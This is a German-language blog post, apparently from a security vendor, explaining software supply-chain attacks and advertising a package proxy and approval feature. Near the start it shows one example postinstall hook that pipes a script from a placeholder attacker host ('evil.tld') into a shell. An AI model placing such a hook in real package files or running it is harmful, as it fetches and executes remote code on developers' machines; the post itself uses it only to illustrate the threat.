Was ist eine Software Supply Chain Attacke?
Du schreibst deinen eigenen Code nicht komplett selbst. Kein Team tut das. Ein durchschnittliches Projekt zieht Dutzende direkte und Hunderte transitive Abhängigkeiten – Pakete, die wiederum eigene Abhängigkeiten mitbringen. Bei einer Supply-Chain-Attacke greift niemand deine Anwendung direkt an. Stattdessen wird eine dieser Abhängigkeiten kompromittiert, und der Schadcode reist mit dem nächsten npm install automatisch zu dir:
"scripts": { "postinstall": "curl http://evil.tld/payload.sh | sh" }
Ein einziger postinstall-Hook in einer tief verschachtelten Abhängigkeit reicht. Das ist kein npm-spezifisches Problem – PyPI, RubyGems, crates.io und klassische Linux-Paketquellen sind genauso betroffen, wie der xz-utils-Backdoor 2024 gezeigt hat.
Warum ist das Problem gerade jetzt so groß?
• Moderne Projekte haben leicht tausende Pakete in node_modules, von hunderten unterschiedlichen Maintainern.
• Kaum ein Team reviewt jede Codeänderung jeder Abhängigkeit – bei der Menge ist das schlicht nicht zu leisten.
• Automatische Updates (^- und ~-Versionsangaben) verteilen eine kompromittierte Version innerhalb von Stunden an tausende Projekte weltweit.
• Ein kompromittiertes Low-Level-Paket, das quer durchs Ökosystem als Abhängigkeit genutzt wird, hat einen enormen Hebel – ein einziger Commit betrifft plötzlich alles, was darauf aufbaut.
Wie sieht ein Angriff aus?
Szenario 1: Ein Angreifer übernimmt den npm-Account eines Maintainers – per Phishing oder einem wiederverwendeten, geleakten Passwort. Er veröffentlicht eine neue, unauffällige Patch-Version mit eingeschleustem Schadcode. Jedes Projekt mit einer offenen Versionsangabe zieht sie beim nächsten Build automatisch.
Szenario 2: Typosquatting. Der Angreifer registriert ein Paket mit einem Namen, der einem populären Paket zum Verwechseln ähnlich sieht. Ein Entwickler tippt sich beim npm install vertan – und installiert die bösartige Version.
Szenario 3: Dependency Confusion. Ein Unternehmen nutzt intern ein Paket mit einem bestimmten Namen. Existiert ein Paket mit demselben Namen und einer höheren Versionsnummer öffentlich, zieht das Build-System oft versehentlich die öffentliche – kompromittierte – Version statt der internen.
In allen drei Fällen ist der Impact vergleichbar groß: Backdoors in der eigenen Anwendung und den eigenen Daten, Credential-Stealer auf den Rechnern der Entwickler, Datenverschlüsselung und Erpressung, und im schlimmsten Fall die Weiterverteilung an die eigenen Kunden.
Warum CVE-Monitoring hier kaum reicht
CVE-Monitoring wirkt erst, wenn ein Problem bereits bekannt und dokumentiert ist. Dazwischen liegt Zeit – oft Tage oder Wochen, in denen eine kompromittierte Version bereits produktiv im Einsatz ist, bevor irgendjemand sie überhaupt als bösartig identifiziert. Bis der CVE-Eintrag existiert, ist der Schaden für viele längst passiert.
Das eigentliche Problem: Kennst du deinen Blast Radius?
Selbst wenn eine Kompromittierung öffentlich bekannt wird, bleibt die entscheidende Frage: Warst du betroffen? Hat die kompromittierte Version es bis in dein package-lock.json geschafft und wurde committed, lässt sich der Blast Radius wenigstens rekonstruieren – welche Projekte, welche Version, seit wann.
Wurde das Paket aber nur lokal auf dem Rechner eines Entwicklers installiert, zum Testen oder in einem Feature-Branch, der nie committed wurde – dann gibt es keine Spur. Kein Log, kein Diff, nichts, worauf man zurückgreifen könnte. Und jede Abhängigkeit und jede ihrer Unterabhängigkeiten manuell zu reviewen, ist bei der schieren Menge praktisch unmöglich.
Was Driftguard bietet
Wir arbeiten aktuell an einem zweistufigen Ansatz für genau dieses Problem.
Stufe 1 ist ein Proxy, über den jeder Entwickler im Team seine Pakete lädt. Jede Anfrage wird protokolliert – Projekt, Entwickler, Paketname, Version. Das verhindert nicht, dass eine kompromittierte Version installiert wird. Aber es macht den Blast Radius nachvollziehbar, auch wenn nie etwas committed wurde. Du weißt, wer wann welche Version gezogen hat.
Stufe 2 geht einen Schritt weiter: organisationsweite Freigaben. Ihr legt fest, welche Paketversionen erlaubt sind, und neue Versionen werden geprüft, bevor sie gezielt freigegeben werden – statt dass jedes Projekt automatisch die neueste Version zieht.
Das Feature befindet sich aktuell in einer geschlossenen Beta. Wenn du es ausprobieren möchtest, melde dich direkt bei uns.
Weiterlesen
Warum Sichtbarkeit generell die Grundlage jeder Sicherheitsstrategie ist, beschreiben wir im Artikel Warum das Fundament besonderen Schutz braucht. Wer seine Infrastruktur systematisch statt zufällig absichern will, findet einen guten Einstieg in unserer DNS-Checkliste.